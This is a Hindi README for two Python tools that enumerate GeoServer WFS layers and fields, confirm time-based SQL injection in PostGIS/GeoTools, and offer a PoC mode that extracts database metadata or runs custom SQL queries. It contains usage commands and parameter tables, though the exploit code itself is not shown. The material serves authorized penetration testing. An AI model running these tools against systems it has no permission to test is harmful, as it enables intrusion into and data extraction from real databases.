
जियोसर्वर WFS एंडपॉइंट्स की इन्वेंट्री करने और PostGIS/GeoTools में समय-आधारित SQL इंजेक्शन कमजोरियों की पुष्टि करने के लिए पायथन स्क्रिप्ट्स, जिनमें अधिकृत परीक्षण के लिए एक समर्पित PoC मोड शामिल है।
इस रिपॉजिटरी में GeoServer-WFS एंडपॉइंट्स की जांच के लिए दो Python स्क्रिप्ट शामिल हैं।
wfs_inventory.pyउद्देश्य: Layer, XSD फ़ील्ड और WFS मानों की सूची बनाना तथा उम्मीदवारों को वैकल्पिक रूप से समय-आधारित जांच के माध्यम से सत्यापित करना।
निष्पादन उदाहरण:
python3 wfs_inventory.py --url https://HOST --valid-fields 4
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt
geoserver_sqli_working.pyउद्देश्य: इन्वेंटरी के लिए संयुक्त प्रवेश बिंदु तथा एक अलग PoC मोड।
निष्पादन उदाहरण:
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"
महत्वपूर्ण नोट: समय-आधारित जांच और PoC मोड का उपयोग केवल उन सिस्टमों के विरुद्ध किया जाना चाहिए जिनके लिए स्पष्ट परीक्षण अनुमति मौजूद हो। सामान्य इन्वेंटरी मोड केवल नियमित WFS ऑपरेशनों का उपयोग करता है।
वैकल्पिक रूप से निष्पादन योग्य बनाएं:
chmod +x wfs_inventory.py geoserver_sqli_working.py
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4
डिफ़ॉल्ट पथ /geoserver/wfs स्वचालित रूप से जोड़ा जाता है। इसलिए निम्नलिखित जानकारी समतुल्य है:
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs
भिन्न इंस्टॉलेशन के मामले में पूर्ण WFS पथ निर्दिष्ट किया जाना चाहिए।
केवल स्पष्ट रूप से अधिकृत सिस्टमों के लिए:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1
जांच के दौरान प्रत्येक उम्मीदवार के लिए stderr पर एक माप दिखाई देता है:
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true
एक सफल स्क्रीन अभी तक सकारात्मक निष्कर्ष नहीं है। केवल जब दूसरा, लंबा माप भी सफल होता है, तो एक पैरामीटर ब्लॉक आउटपुट होता है।
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
--valid-diagnose FILE स्वचालित रूप से विस्तृत डायग्नोस्टिक्स सक्रिय करता है और उन्हें निर्दिष्ट फ़ाइल में लिखता है।
डिफ़ॉल्ट मोड auto WFS जानकारी को इस क्रम में संसाधित करता है:
GetCapabilities एक बार खोला जाता है:
/geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
XML प्रतिक्रिया स्ट्रीम की जाती है। जैसे ही एक FeatureType/Name मिलता है, अगला typeName निर्धारित होता है।
इस Layer के लिए तुरंत DescribeFeatureType को version=2.0.0 के साथ निष्पादित किया जाता है।
स्क्रिप्ट XSD तत्वों को निकालती है और ID- या संख्या-समान नाम वाले स्ट्रिंग/JSON फ़ील्ड का चयन करती है।
उम्मीदवार को कॉल के आधार पर जांचा जाता है:
--sleep के बिना: नमूना मान सिंटैक्टिक रूप से मान्य JSON होने चाहिए।--sleep N के साथ: एक नियंत्रण अनुरोध और एक समय-आधारित जांच अनुरोध मापा जाता है। JSON मान जांच को छोड़ दिया जाता है।परिणाम तुरंत आउटपुट और फ्लश किया जाता है।
उसके बाद ही चल रही GetCapabilities प्रतिक्रिया से अगला typeName पढ़ा जाता है।
इस प्रकार पहला परिणाम दिखाई देने से पहले एक बड़ी GetCapabilities प्रतिक्रिया को पूरी तरह से संसाधित करने की आवश्यकता नहीं होती है।
--sleep के बिना, स्वचालित मोड डिफ़ॉल्ट रूप से ID- या संख्या-समान नाम वाले स्ट्रिंग/JSON फ़ील्ड पर विचार करता है।
--sleep के साथ, --candidate-scope auto इसके बजाय सभी सरल गैर-ज्यामिति फ़ील्ड का उपयोग करता है। XSD प्रकार और ID नाम पैटर्न तब टाइमिंग जांच को अवरुद्ध नहीं करते हैं। यह संख्यात्मक, दिनांक/बूलियन या निर्माता-विशिष्ट XSD प्रकारों के लिए गलत नकारात्मक परिणामों को रोकता है।
पहचाने गए नाम पैटर्न में शामिल हैं:
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid
समय-आधारित जांच में फ़ील्ड नाम अतिरिक्त रूप से [A-Za-z_][A-Za-z0-9_]* प्रारूप में एक सरल पहचानकर्ता होना चाहिए।
--sleep के बिना, यह जांचा जाता है कि देखे गए मान सिंटैक्टिक रूप से JSON के रूप में व्याख्या किए जा सकते हैं या नहीं। इसलिए, उदाहरण के लिए, स्ट्रिंग "383205" भी एक उम्मीदवार माना जाता है, क्योंकि इसकी सामग्री एक मान्य JSON संख्या है। यह जांच एक अनुमान है और कमजोरी का प्रमाण नहीं है।
--sleep 1 के साथ, केवल समय माप निर्णायक होता है। एक उम्मीदवार डिफ़ॉल्ट रूप से सकारात्मक माना जाता है यदि जांच अनुरोध नियंत्रण अनुरोध की तुलना में अनुरोधित स्लीप समय का कम से कम 70 प्रतिशत अतिरिक्त लेता है। --timing-result-type auto पहले resultType=hits की जांच करता है और नकारात्मक परिणाम के बाद resultType=results की जांच करता है।
अस्थायी रूप से सकारात्मक माप अनिवार्य रूप से लंबे स्लीप समय के साथ पुष्टि की जाती हैं। स्पष्ट --confirm-sleep के बिना, स्क्रिप्ट max(3, --sleep * 3) का उपयोग करती है, जो 10 सेकंड तक सीमित है। इस प्रकार --sleep 1 पर एक एकल विलंबता स्पाइक अब vulnerable=true का कारण नहीं बनता है।
मानक आउटपुट में प्रत्येक मान्य Layer के लिए एक ब्लॉक होता है:
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B
parameter_stringN में सामान्यीकृत WFS एंडपॉइंट और --typename तथा --field_name के लिए उपयुक्त मान होते हैं।
--valid-fields N Layer ब्लॉकों की गणना करता है, व्यक्तिगत फ़ील्ड की नहीं। यदि N से कम मान्य Layer मौजूद हैं, तो शेष कैटलॉग की आगे जांच की जाती है। --max-layers के साथ अधिकतम रनटाइम सीमित किया जा सकता है।
विकल्प --diagnose या --valid-diagnose FILE अन्य बातों के अलावा जोड़ते हैं:
GetCapabilities URL,DescribeFeatureType URL,GetFeature URL औरउदाहरण:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--valid-diagnose diagnose.txt
python3 wfs_inventory.py \
--url https://HOST \
--mode layers
किसी नेमस्पेस तक सीमित करें:
python3 wfs_inventory.py \
--url https://HOST \
--mode layers \
--namespace fink
python3 wfs_inventory.py \
--url https://HOST \
--mode fields \
--layer namespace:layer
प्रत्येक फ़ील्ड को नाम, XSD प्रकार, nillable, id_candidate और usable_property के साथ JSON ऑब्जेक्ट के रूप में आउटपुट किया जाता है।
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--field FIELD_A \
--field FIELD_B \
--max-features 100 \
--format jsonl \
--output values.jsonl
सभी प्रॉपर्टी निर्यात करें:
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--all-properties \
--max-features 100
--unique के साथ चयनित फ़ील्ड मानों के समान संयोजन केवल एक बार आउटपुट होते हैं।
wfs_inventory.py के पैरामीटर| पैरामीटर | डिफ़ॉल्ट | अर्थ |
|---|---|---|
--url URL | आवश्यक | होस्ट, GeoServer आधार या पूर्ण WFS एंडपॉइंट |
--mode auto|layers|fields|values | auto | निष्पादित किया जाने वाला ऑपरेटिंग मोड |
--layer NAMESPACE:LAYER | – | ऑटो-मोड को एक फीचर-टाइप तक सीमित करें; fields और values के लिए आवश्यक |
--namespace PREFIX | – | केवल इस नेमस्पेस उपसर्ग के Layer पर विचार करें |
--capabilities-file FILE | – | डाउनलोड के बजाय स्थानीय GetCapabilities प्रतिक्रिया का उपयोग करें |
--field NAME | दोहराने योग्य | values मोड में निर्यात की जाने वाली प्रॉपर्टी |
--all-properties | बंद | values मोड में सभी प्रॉपर्टी निर्यात करें |
--unique | बंद | डुप्लिकेट फ़ील्ड मान संयोजन दबाएं |
--page-size N | 500 | प्रति GetFeature पृष्ठ फीचर; सीमा 1 से 5000 |
--sample-size N | 5 | JSON सिंटैक्स जांच के लिए प्रति Layer नमूना मान; सीमा 1 से 100 |
--sleep SECONDS | 0 | समय-आधारित सत्यापन सक्रिय करें; 0 या 1 से 10 सेकंड की अनुमति है |
--candidate-scope auto|id|all | auto | उम्मीदवार चयन; auto बिना स्लीप के ID फ़ील्ड और स्लीप के साथ सभी गैर-ज्यामिति फ़ील्ड का उपयोग करता है |
--timing-result-type auto|hits|results | auto | टाइमिंग जांच का क्वेरी पथ; auto पहले hits, फिर results आज़माता है |
--sleep-threshold RATIO | 0.7 | स्लीप समय का आवश्यक अनुपात; सीमा 0.5 से 1.0 |
geoserver_sqli_working.py इन्वेंटरी फ़ंक्शन को सीधे कॉल कर सकता है। जैसे ही --valid-fields निर्दिष्ट किया जाता है, केवल इन्वेंटरी निष्पादित होती है और प्रोग्राम उसके बाद समाप्त हो जाता है।
python3 geoserver_sqli_working.py \
--target https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
इस दौरान आंतरिक रूप से निम्नलिखित पैरामीटर wfs_inventory.py को भेजे जाते हैं:
--target -> --url
--valid-fields -> --valid-fields
--valid-diagnose -> --valid-diagnose
--sleep -> --sleep
--candidate-scope -> --candidate-scope
--timing-result-type -> --timing-result-type
--sleep-threshold -> --sleep-threshold
--confirm-sleep -> --confirm-sleep
स्पष्ट --sleep के बिना, इन्वेंटरी मोड में समय-आधारित जांच अक्षम रहती है।
केवल स्पष्ट रूप से अधिकृत परीक्षण सिस्टमों के लिए:
python3 geoserver_sqli_working.py \
--target https://HOST/geoserver/wfs \
--typename namespace:layer \
--field_name FIELD \
--sleep 5
PoC मोड में लक्ष्य पथ स्वचालित रूप से सामान्यीकृत नहीं होता है। यहां पूर्ण WFS एंडपॉइंट निर्दिष्ट किया जाना चाहिए।
मोड पहले एक बेसलाइन/स्लीप परीक्षण करता है, फिर मौजूदा समय-आधारित Oracle वेरिएंट का परीक्षण करता है और सफल पुष्टि पर डिफ़ॉल्ट रूप से सर्वर/डेटाबेस मेटाडेटा पढ़ता है। --query के साथ इसके बजाय एक कस्टम स्केलर क्वेरी निर्दिष्ट की जा सकती है।
PoC मोड वर्तमान में आंतरिक रूप से TLS प्रमाणपत्र जांच अक्षम करता है। शुद्ध इन्वेंटरी के लिए
wfs_inventory.pyको प्राथमिकता दी जानी चाहिए, क्योंकि वहां TLS डिफ़ॉल्ट रूप से जांचा जाता है।
geoserver_sqli_working.py के पैरामीटर| पैरामीटर | डिफ़ॉल्ट | अर्थ |
|---|---|---|
--target URL | आवश्यक | लक्ष्य होस्ट या WFS एंडपॉइंट; PoC मोड में पूर्ण WFS पथ का उपयोग करें |
--typename NAME | fink_bku:fink_meta_mitte_suedwest | PoC मोड के लिए फीचर-टाइप |
--field_name NAME | PoC मोड में आवश्यक | jsonArrayContains के लिए सरल XSD फ़ील्ड नाम |
--field-name NAME | उपनाम | --field_name के लिए उपनाम |
--valid-fields N | – | इन्वेंटरी मोड सक्रिय करें और N मान्य Layer के बाद रोकें |
--valid-diagnose FILE | – | विस्तृत इन्वेंटरी रिपोर्ट FILE में लिखें; --valid-fields की आवश्यकता है |
--sleep SECONDS | PoC: 5, इन्वेंटरी: बंद | संबंधित मोड की स्लीप अवधि |
--candidate-scope auto|id|all | auto | इन्वेंटरी मोड में उम्मीदवार चयन |
--timing-result-type auto|hits|results | auto | इन्वेंटरी मोड में टाइमिंग क्वेरी पथ |
--sleep-threshold RATIO | 0.7 | इन्वेंटरी मोड में टाइमिंग सीमा मान |
--confirm-sleep SECONDS | स्वचालित | इन्वेंटरी मोड में पुष्टिकरण स्लीप |
--query SQL | – | PoC मोड में कस्टम स्केलर क्वेरी |
--debug | बंद | PoC मोड में शर्तें, रनटाइम और निर्णय दिखाएं |
ऑटो-मोड टेक्स्ट ब्लॉक के बजाय JSON Lines उत्पन्न कर सकता है:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--report-format jsonl \
--output report.jsonl
--diagnose के साथ प्रत्येक रिकॉर्ड में अतिरिक्त रूप से URL, उम्मीदवार मेटाडेटा, जांच मान और फ़ील्ड-विशिष्ट GetFeature URL शामिल होते हैं।
प्रॉक्सी का उपयोग करें:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--valid-fields 4
कस्टम प्रॉक्सी-CA पर भरोसा करें:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--proxy-ca proxy-ca.pem \
--valid-fields 4
अधिकृत परीक्षण सिस्टम के लिए TLS जांच अक्षम करें:
python3 wfs_inventory.py \
--url https://HOST \
--insecure \
--valid-fields 4
--proxy-ca और --insecure का एक साथ उपयोग नहीं किया जा सकता।
बड़ी GetCapabilities प्रतिक्रियाओं के लिए निम्नलिखित विकल्प सहायक हैं:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--max-layers 100 \
--sample-size 1 \
--timeout 10 \
--retries 0 \
--delay 0
नोट:
GetCapabilities केवल एक बार अनुरोधित किया जाता है और फिर स्ट्रीम किया जाता है।--valid-fields 4 स्कैन को चार मान्य Layer के बाद ही समाप्त करता है। यदि कम हिट मौजूद हैं, तो खोज अंत तक या --max-layers तक चलती है।--sample-size 1 JSON अनुमान के प्रयास को कम करता है।--timing-result-type auto के साथ नकारात्मक hits परिणाम के बाद अतिरिक्त दो results अनुरोध निष्पादित होते हैं।--candidate-scope id टाइमिंग अनुरोधों की संख्या कम करता है, लेकिन अन्य नामों वाले कमजोर फ़ील्ड छोड़ सकता है।--namespace और --start-layer-index खोज क्षेत्र को अतिरिक्त रूप से सीमित कर सकते हैं।The read operation timed out--timeout बढ़ाएं।--retries 0 सेट करें।--max-layers और --namespace का उपयोग करें।--sample-size 1 का उपयोग करें।--sleep के बिना उम्मीदवारों को --candidate-scope के आधार पर XSD/नाम जांच और JSON सिंटैक्स जांच पास करनी होती है।--sleep के साथ केवल समय-पुष्टि किए गए उम्मीदवार पैरामीटर ब्लॉक के रूप में आउटपुट होते हैं; नकारात्मक माप stderr पर [sleep-check] के रूप में दिखाई देते हैं।--max-layers सेट करें।Cannot do natural order without a primary keyपहले GetFeature पृष्ठ के लिए स्क्रिप्ट startIndex=0 नहीं भेजती है, क्योंकि कुछ GeoServer/JDBC Layer बिना प्राथमिक कुंजी के पहले से ही प्राकृतिक क्रम लागू करते हैं। आगे के पृष्ठों के निर्यात के दौरान ऐसा Layer फिर भी प्राथमिक कुंजी या सर्वर-समर्थित क्रम की आवश्यकता कर सकता है।
schema does not define ...Typeस्क्रिप्ट सामान्य <LayerName>Type के साथ-साथ वैश्विक XSD Layer तत्व में संदर्भित या अनाम complexType पर भी विचार करती है। यदि त्रुटि बनी रहती है, तो संबंधित DescribeFeatureType प्रतिक्रिया को --diagnose के साथ जांचा जाना चाहिए।
पूर्ण OWS त्रुटि संदेश stderr पर आउटपुट होता है। सामान्य कारण असमर्थित प्रॉपर्टी, सर्वर-साइड पेजिंग निर्देश या Layer-विशिष्ट डेटा स्रोत कॉन्फ़िगरेशन हैं।
python3 wfs_inventory.py --help
python3 geoserver_sqli_working.py --help
--confirm-sleep SECONDS | 0/स्वचालित | पुष्टिकरण स्लीप; 0 पहले स्लीप समय का कम से कम 3× उपयोग करता है, सीमा 1 से 10 |
--start-layer-index N | 0 | पहले N स्ट्रीम किए गए Layer छोड़ें |
--max-layers N | 0 | अधिकतम N Layer संसाधित करें; 0 का अर्थ असीमित है |
--valid-fields N | 0 | N मान्य Layer ब्लॉक के बाद रोकें; 0 का अर्थ असीमित है |
--valid N | उपनाम | --valid-fields के लिए पिछड़ा-संगत उपनाम |
--max-features N | 0 | values मोड में N फीचर के बाद रोकें; 0 का अर्थ असीमित है |
--format jsonl|csv|text | jsonl | values मोड में आउटपुट प्रारूप |
--output FILE | stdout | रिपोर्ट या मान फ़ाइल में लिखें |
--report-format blocks|jsonl | blocks | ऑटो-रिपोर्ट का प्रारूप |
--diagnose | बंद | URL, प्रकार, चयन फ़्लैग और जांच आँकड़े जोड़ें |
--valid-diagnose FILE | – | डायग्नोस्टिक्स सक्रिय करें और सीधे FILE में लिखें |
--delay SECONDS | 0.1 | परिणाम/जांच चरणों के बीच विराम |
--timeout SECONDS | 30 | प्रति HTTP अनुरोध टाइमआउट |
--retries N | 2 | टाइमआउट या नेटवर्क त्रुटि के बाद पुनः प्रयास; सीमा 0 से 10 |
--proxy URL | – | HTTP(S) प्रॉक्सी, उदाहरण के लिए http://127.0.0.1:8080 |
--proxy-ca FILE | – | प्रॉक्सी प्रमाणपत्र पर भरोसा करने के लिए PEM-CA प्रमाणपत्र |
--insecure | बंद | TLS प्रमाणपत्र जांच अक्षम करें |
--authorization TEXT | I_AM_AUTHORIZED | सुरक्षा पुष्टि; बिल्कुल I_AM_AUTHORIZED होना चाहिए |